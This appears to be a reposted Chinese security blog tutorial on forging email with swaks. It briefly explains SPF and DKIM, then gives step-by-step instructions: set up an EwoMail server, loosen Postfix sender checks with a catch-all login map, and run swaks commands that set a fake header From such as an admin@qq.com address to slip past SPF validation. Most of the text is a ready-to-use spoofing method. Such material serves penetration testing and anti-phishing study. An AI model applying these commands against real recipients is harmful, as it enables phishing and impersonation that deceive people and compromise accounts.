Swaks伪造邮件

一、邮件伪造防御介绍

0x1、SPF介绍

SPF记录是阻止垃圾邮件发件人发送假冒您的域中的“发件人”地址的电子邮件。收件人可以参考 SPF 记录来确定号称来自您的域的邮件是否来自授权邮件服务器。对于大多主流的邮件服务商,鉴别发送者的SPF记录有助于抵御垃圾邮件给接收者带来的骚扰。

SMTP协议本身没有办法鉴别寄件人的真正身份,在没有SPF得情况下,是可以伪造任何用户,SPF 记录允许域名管理员公布所授权的邮件服务器IP地址,接收服务器会在收到邮件时验证发件人在 SMTP 会话中执行 MAIL FROM 命令时的邮件地址是否与域名 SPF 记录中所指定的源 IP 匹配。

以判断是否为发件人域名伪造,邮件接收方的收件服务器在接受到邮件后,首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里,如果不在就会发送识别或者进入垃圾邮箱,SPF是TXT记录,当用户收到邮件之后,会根据邮件的from值,向DNS请求发件人所用的域名,得到TXT记录中的域名或者IP跟邮件头的IP来源作比较,符合进收件箱,不符合过滤或者进垃圾箱。

0x2、DKIM介绍

DKIM 是邮件认证机制,使用公开密钥加密的基础提供了数字签名与身份验证的功能,以检测寄件者、主旨、内文、附件等部分有否被伪冒或窜改。一般来说,发送方会在电子邮件的标头插入DKIM-Signature及电子签名信息。而接收方则透过DNS查询得到公开密钥后进行验证

二、利用过程

0x1.搭建邮件服务器

首先需要自己搭建邮件服务器采用的是EwoMail搭建参考链接:

 http://doc.ewomail.com/docs/ewomail/install

0x2邮件伪造发送

swaks --to 收件人   --from  发送人  --body  内容  --server 邮件服务器地址 -p 2525 -au 用户名  -ap  密码

发送伪造邮件会出现Sender address rejected: not owned by

 这样的报错导致未成功发送,原因是postfix设置的问题。需要进行一下修改vim /etc/postfix/main.cf

找到smtpd_sender_login_maps修改为如下:smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre

找到smtpd_recipient_restrictions删除reject_unknown_sender_domain这样就不会对发送domain进行验证

新增文件/etc/postfix/login_maps.pcre

/^(.*)$/ test1@domain.com(允许用户test1@domain.com使用任意domain)

执行命令使修改内容生效

postmap /etc/postfix/login_maps.pcre

postfix reload

0x3.SPF校验及绕过

会验证smtp.from发送人邮件服务器是否和邮件服务器地址IP相等,如果不同SPF则会验证失败。

邮件显示的是Header当中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From

 swaks --to 123456@qq.com --from 正常地址 --h-From: '管理员<admin@qq.com>' --ehlo qq.com --body hello --server 邮件服务器 -p 25 -au <USER> -ap <PASSS>

 

不过这样的方法经过测试,会存在一个问题,会显示由xxxx代发,而这个则就是我们真实发送的邮箱。

原文地址:https://www.cnblogs.com/websecyw/p/11127724.html